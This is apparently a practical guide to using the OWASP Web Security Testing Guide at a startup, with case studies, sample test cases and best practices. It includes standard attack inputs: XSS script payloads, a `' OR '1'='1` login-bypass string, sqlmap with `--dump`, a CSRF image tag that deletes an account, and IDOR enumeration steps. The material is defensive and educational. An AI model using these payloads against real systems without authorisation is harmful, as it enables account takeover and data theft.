Implementing OWASP WSTG in a startup can significantly enhance security with minimal resources. Here are some practical examples and best practices learned from real-world adoptions:

Case Study 1: Continuous Testing catches XSS Early

A small SaaS startup integrated OWASP ZAP into their GitLab CI pipeline (Stage 1 of our roadmap). On one merge request, the ZAP **baseline scan** flagged a reflected XSS in a search parameter (the developer had echoed user input without encoding). The pipeline failed, alerting the team. The developer reproduced the issue by visiting the QA site with the payload `?<script>alert(1)</script>` and saw an alert – confirming XSS. Because it was caught before release, they fixed it immediately by encoding the output. **Result:** No customer ever experienced this XSS, and it saved the startup from a potential vulnerability being exploited or reported later. This demonstrates the value of even basic automated testing – it provided instant feedback to developers (The OWASP Web Security Testing Guide: How to Get Started and Improve Application Security | Cyolo).

Best Practice: Treat your CI pipeline as the first line of defense. If a build fails due to a security issue, prioritize that fix. Over time, developers will write code with these checks in mind (secure development becomes the norm). As one metric, this startup tracked “vulnerabilities per release” and saw it drop to near zero after a few months of CI enforcement.

Case Study 2: Final Test & Risk Assessment before Launch

A fintech startup preparing for launch performed a comprehensive WSTG-based audit (with one security champion guiding it). Using a WSTG checklist, they discovered a **logic flaw** in funds transfer: a user could initiate a transfer, then change the account ID in the second step, moving money from someone else’s account. This was a business logic issue that no automated tool caught – it required understanding the multi-step process. The tester attempted this by intercepting the request between steps (with Burp) and modifying the account parameter, and noticed the transfer succeeded from a different account. This could have led to fraudulent transfers. They rated it Critical risk. The developers quickly patched the logic (binding the transfer to the user’s session, not trusting the account parameter). **Result:** A major exploit was averted days before launch. They also added an automated test in their QA suite to prevent regression of this flaw.

Best Practice: Use a **pre-release security checklist** to ensure you test all critical flows. In this case, "test fund transfer integrity" was on the list and uncovered the flaw. When assessing risk, consider business impact – here it was money loss, hence critical (OWASP Risk Rating Methodology | OWASP Foundation) (OWASP Risk Rating Methodology | OWASP Foundation). Always fix critical logic issues before launch, even if it means a slight delay.

Case Study 3: Prioritizing What Matters – S3 Bucket Misconfig

A startup hosted user-uploaded files in an AWS S3 bucket. According to WSTG Configuration tests, one should check cloud storage permissions (The OWASP Web Security Testing Guide: How to Get Started and Improve Application Security | Cyolo). The security review found the S3 bucket was world-readable (anyone with the URL could list files). While not immediately exploitable (IDs were complex), it was a risk if guessed. They promptly applied a policy to restrict access. They might not have caught this if they only focused on the web application and ignored the storage back-end.

Best Practice: Include asset inventory beyond just the web app – e.g., cloud assets, third-party components. A simple check (like attempting to list the S3 bucket via AWS CLI with no creds) revealed the issue. OWASP WSTG's breadth guided them to check "Test Cloud Storage" which was relevant (WSTG - Latest | OWASP Foundation).

Example: Sample Test Cases for Critical Vulnerabilities

- **SQL Injection Test (Manual & Automated):** For a "Login" function, try a classic `' OR '1'='1` in the password field (WSTG - Latest | OWASP Foundation). If login bypasses, you have a SQLi. Automated: run `sqlmap` with the login request captured (using `--dump` to see if it can extract user data) as proof. Once, a tester did this on a startup's admin login and got full access – the devs had used string concatenation for SQL. Post-fix, they implemented parameterized queries everywhere.
- **IDOR Test:** Use two accounts (user A and B). Create a resource with A, then attempt to access with B by ID change. In one case at a startup, a tester wrote a small script to iterate IDs with B's token and found he could access about 10% of A's records – indicating missing access checks for some IDs. They resolved by adding server-side ownership verification on that API endpoint.
- **XSS Test:** Inject `<script>alert(document.domain)</script>` in every text input you can. One example: a bug bounty hunter found stored XSS in a

startup's profile bio field by doing exactly that – every user visiting the profile would trigger alert. The startup learned to implement output encoding for that field and added a content security policy to mitigate impact (GitHub - 0xRadi/OWASP-Web-Checklist: OWASP Web Application Security Testing Checklist). Now they have a unit test that saves a bio with a `<script>` and ensures on retrieve it's encoded (no script execution).

- **CSRF Test:** Try submitting critical state-changing requests (like changing email or password) from an off-site form. E.g., create a HTML form on your own site that POSTs to the target site's password change. If it succeeds (user password changes without them knowing), that's a CSRF vulnerability. A tester did this via a hidden image approach (`<img src="URL_to_delete_account" />`) and managed to delete his test account by just loading his malicious HTML while logged in on another session – indicating no CSRF token. The fix was to implement CSRF tokens on those endpoints.

Best Practices Summary for Effective & Efficient Testing

- **Use a Mix of Manual and Automated Testing:** Automated tools handle the repetitive tasks and common vulns, while manual testing covers logic and complex scenarios. For example, automate scans for XSS/SQLi, but manually test business logic like transaction flows. This hybrid approach yields the best coverage (The OWASP Web Security Testing Guide: How to Get Started and Improve Application Security | Cyolo).
- **Gradually Increase Coverage:** You don't have to test all 100% of WSTG at once (The OWASP Web Security Testing Guide: How to Get Started and Improve Application Security | Cyolo). Start with critical areas (auth, injections) and expand. Each release, try to add one new category to your testing. This incremental adoption is what OWASP recommends for WSTG integration (The OWASP Web Security Testing Guide: How to Get Started and Improve Application Security | Cyolo).
- **Leverage Existing Security Frameworks:** Align with OWASP Top 10 and ASVS. For instance, use OWASP Top 10 as a "top priority" list for a startup. Ensuring you're good on those 10 covers the most critical issues. One team mapped each OWASP Top 10 item to specific WSTG test cases and made sure those were all passing before launch (The OWASP Web Security Testing Guide: How to Get Started and Improve Application Security | Cyolo).

- **Automate Regression Tests for Found Vulns:** Every time you find and fix a bug, create a test for it. If it was a missing auth check, add it to your test suite (or at least your manual checklist) so it never slips back. Over time, your security test suite becomes very robust and specific to your app's pitfalls.
- **Integrate Security in Dev Lifecycle:** Make security testing a routine part of dev and QA. E.g., require threat modeling for new features (even a quick discussion) and derive tests from it (The OWASP Web Security Testing Guide: How to Get Started and Improve Application Security | Cyolo). If devs write user stories, encourage adding abuse cases (how it shouldn't work) – then ensure those are tested.
- **Use Metrics to Drive Improvement:** Track how many vulns are found in each test cycle and aim to reduce that (WSTG - Latest | OWASP Foundation). If one category (say XSS) keeps appearing, do a focused training or improvement in that area. Celebrate zero-vuln test results as achievements – it means the process is working and code quality is high.
- **Foster a Security Culture:** In a startup, everyone wears multiple hats. Encourage developers to run some security tools themselves (maybe run ZAP GUI locally before handing over to you, or use VS Code plugins that highlight insecure code). If they feel ownership, it's not just "the security guy's job", leading to faster fixes and fewer issues.
- **Stay Updated:** The threat landscape evolves. Follow OWASP updates, security Twitter, etc., to learn of new attack techniques that might apply. For example, when the Log4j ("Log4Shell") vulnerability was revealed, many startups went back to their apps to see if they use Log4j and added tests or patches immediately. Being proactive by staying informed can catch issues that automated tools don't yet know about.

By implementing the above best practices and following the structured approach of OWASP WSTG, a solo security professional at a startup can create an effective security testing program. It ensures continuous vigilance (through automation) and comprehensive coverage (through methodical manual testing), ultimately reducing risk as the startup grows – all while being mindful of limited time and resources.

Sources:

- OWASP WSTG – various sections for methodology and test cases (WSTG - Latest | OWASP Foundation) (WSTG - Latest | OWASP Foundation) (The OWASP Web Security Testing Guide: How to Get Started and Improve Application Security | Cyolo) (The OWASP Web Security Testing Guide: How

to Get Started and Improve Application Security | Cyolo), etc. (Referenced throughout above guide)

- OWASP Top 10 (for prioritization of vulns) (The 6 best OWASP security testing tools in 2024)
- Real-world examples inspired by OWASP and security community write-ups (HackerOne reports, PortSwigger research) (Examples of business logic vulnerabilities | Web Security Academy).